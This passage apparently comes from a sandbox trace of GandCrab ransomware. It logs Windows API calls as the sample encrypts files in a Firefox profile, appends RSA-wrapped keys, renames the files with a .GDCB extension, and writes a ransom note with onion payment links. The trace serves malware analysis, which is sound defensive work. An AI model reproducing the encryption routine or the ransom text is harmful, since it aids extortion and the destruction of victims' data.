returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\kinto.sqlite.GDCB" [0056.192] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x58ff08) returned 1 [0056.192] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0056.193] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0056.193] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0056.193] CryptGenRandom (in: hProv=0x58ff08, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0056.193] CryptReleaseContext (hProv=0x58ff08, dwFlags=0x0) returned 1 [0056.193] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.193] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x58fc60) returned 1 [0056.193] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0056.194] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0056.194] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0056.194] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0056.194] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0056.194] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.194] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0056.194] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0056.194] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x58fc60) returned 1 [0056.196] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x5dd488) returned 1 [0056.196] CryptGetKeyParam (in: hKey=0x5dd488, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0056.196] CryptEncrypt (in: hKey=0x5dd488, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0056.197] GetLastError () returned 0x0 [0056.197] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0056.197] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x58fc60) returned 1 [0056.198] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x5dd5c8) returned 1 [0056.199] CryptGetKeyParam (in: hKey=0x5dd5c8, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0056.199] CryptEncrypt (in: hKey=0x5dd5c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0056.199] GetLastError () returned 0x0 [0056.199] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0056.199] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\kinto.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\kinto.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0056.199] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0056.199] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0056.200] ReadFile (in: hFile=0x504, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285e828*=0x100000, lpOverlapped=0x0) returned 1 [0056.441] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0056.458] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x2ab0000 [0056.478] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.481] SetFilePointer (in: hFile=0x504, lDistanceToMove=-1048576, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0056.481] WriteFile (in: hFile=0x504, lpBuffer=0x2ab0000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2ab0000*, lpNumberOfBytesWritten=0x285e820*=0x100000, lpOverlapped=0x0) returned 1 [0056.505] VirtualFree (lpAddress=0x2ab0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.509] ReadFile (in: hFile=0x504, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285e828*=0x0, lpOverlapped=0x0) returned 1 [0056.509] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.511] WriteFile (in: hFile=0x504, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0056.517] WriteFile (in: hFile=0x504, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0056.517] WriteFile (in: hFile=0x504, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285e820*=0x10, lpOverlapped=0x0) returned 1 [0056.517] CloseHandle (hObject=0x504) returned 1 [0056.535] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.535] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.535] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.535] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\kinto.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\kinto.sqlite"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\kinto.sqlite.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\kinto.sqlite.gdcb")) returned 1 [0056.536] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.536] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.536] FindNextFileW (in: hFindFile=0x5b80f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0056.536] lstrcmpW (lpString1="mimeTypes.rdf", lpString2=".") returned 1 [0056.536] lstrcmpW (lpString1="mimeTypes.rdf", lpString2="..") returned 1 [0056.536] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="mimeTypes.rdf" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\mimeTypes.rdf") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\mimeTypes.rdf" [0056.536] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0056.537] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\mimeTypes.rdf") returned 93 [0056.537] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\mimeTypes.rdf") returned 93 [0056.537] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.537] FindNextFileW (in: hFindFile=0x5b80f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0056.537] lstrcmpW (lpString1="minidumps", lpString2=".") returned 1 [0056.537] lstrcmpW (lpString1="minidumps", lpString2="..") returned 1 [0056.537] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="minidumps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\minidumps") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\minidumps" [0056.537] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\minidumps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\minidumps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\minidumps\\" [0056.537] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0056.537] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0056.537] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0056.537] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0056.537] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0056.537] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.537] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\minidumps\\") returned 90 [0056.537] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\minidumps\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\minidumps\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\minidumps\\*" [0056.537] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\minidumps\\*", lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0x5dd648 [0056.537] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0056.538] FindNextFileW (in: hFindFile=0x5dd648, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0056.538] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0056.538] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0056.538] FindNextFileW (in: hFindFile=0x5dd648, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0 [0056.538] FindClose (in: hFindFile=0x5dd648 | out: hFindFile=0x5dd648) returned 1 [0056.538] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0056.538] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\minidumps\\\\GDCB-DECRYPT.txt") returned 107 [0056.538] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\minidumps\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\minidumps\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0056.538] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0056.538] WriteFile (in: hFile=0x504, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e5dc, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e5dc*=0xad6, lpOverlapped=0x0) returned 1 [0056.539] CloseHandle (hObject=0x504) returned 1 [0056.539] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.539] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\minidumps\\") returned 90 [0056.539] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\minidumps\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\minidumps\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\minidumps\\*" [0056.539] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\minidumps\\*", lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0x5dd3c8 [0056.539] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0056.539] FindNextFileW (in: hFindFile=0x5dd3c8, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0056.539] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0056.539] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0056.539] FindNextFileW (in: hFindFile=0x5dd3c8, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0056.539] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0056.539] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0056.539] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\minidumps\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\minidumps\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\minidumps\\GDCB-DECRYPT.txt" [0056.539] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0056.539] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\minidumps\\GDCB-DECRYPT.txt") returned 106 [0056.539] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\minidumps\\GDCB-DECRYPT.txt") returned 106 [0056.539] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\minidumps\\GDCB-DECRYPT.txt") returned 106 [0056.539] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\minidumps\\GDCB-DECRYPT.txt") returned 106 [0056.539] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0056.540] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0056.540] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0056.540] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0056.540] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0056.540] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0056.540] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0056.540] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0056.540] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0056.540] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.540] FindNextFileW (in: hFindFile=0x5dd3c8, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0 [0056.540] FindClose (in: hFindFile=0x5dd3c8 | out: hFindFile=0x5dd3c8) returned 1 [0056.540] FindNextFileW (in: hFindFile=0x5b80f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0056.540] lstrcmpW (lpString1="parent.lock", lpString2=".") returned 1 [0056.540] lstrcmpW (lpString1="parent.lock", lpString2="..") returned 1 [0056.540] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="parent.lock" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\parent.lock") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\parent.lock" [0056.540] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0056.540] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\parent.lock") returned 91 [0056.540] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\parent.lock") returned 91 [0056.540] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.540] FindNextFileW (in: hFindFile=0x5b80f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0056.540] lstrcmpW (lpString1="permissions.sqlite", lpString2=".") returned 1 [0056.540] lstrcmpW (lpString1="permissions.sqlite", lpString2="..") returned 1 [0056.540] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="permissions.sqlite" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\permissions.sqlite") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\permissions.sqlite" [0056.540] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0056.541] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\permissions.sqlite") returned 98 [0056.541] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\permissions.sqlite") returned 98 [0056.541] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\permissions.sqlite") returned 98 [0056.541] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\permissions.sqlite") returned 98 [0056.541] lstrcmpiW (lpString1="permissions.sqlite", lpString2="desktop.ini") returned 1 [0056.541] lstrcmpiW (lpString1="permissions.sqlite", lpString2="autorun.inf") returned 1 [0056.541] lstrcmpiW (lpString1="permissions.sqlite", lpString2="ntuser.dat") returned 1 [0056.541] lstrcmpiW (lpString1="permissions.sqlite", lpString2="iconcache.db") returned 1 [0056.541] lstrcmpiW (lpString1="permissions.sqlite", lpString2="bootsect.bak") returned 1 [0056.541] lstrcmpiW (lpString1="permissions.sqlite", lpString2="boot.ini") returned 1 [0056.541] lstrcmpiW (lpString1="permissions.sqlite", lpString2="ntuser.dat.log") returned 1 [0056.541] lstrcmpiW (lpString1="permissions.sqlite", lpString2="thumbs.db") returned -1 [0056.541] lstrcmpiW (lpString1="permissions.sqlite", lpString2="GDCB-DECRYPT.txt") returned 1 [0056.541] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\permissions.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\permissions.sqlite")) returned 0x20 [0056.545] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\permissions.sqlite", dwFileAttributes=0x20) returned 1 [0056.545] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0056.545] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\permissions.sqlite" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\permissions.sqlite") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\permissions.sqlite" [0056.545] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\permissions.sqlite", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\permissions.sqlite.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\permissions.sqlite.GDCB" [0056.545] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x58fc60) returned 1 [0056.545] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0056.546] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0056.546] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0056.546] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0056.546] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0056.546] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.546] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x58fc60) returned 1 [0056.546] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0056.547] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0056.547] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0056.547] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0056.547] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0056.547] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.547] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0056.547] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0056.547] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x58fc60) returned 1 [0056.549] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x5dd3c8) returned 1 [0056.549] CryptGetKeyParam (in: hKey=0x5dd3c8, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0056.549] CryptEncrypt (in: hKey=0x5dd3c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0056.549] GetLastError () returned 0x0 [0056.549] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0056.549] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider 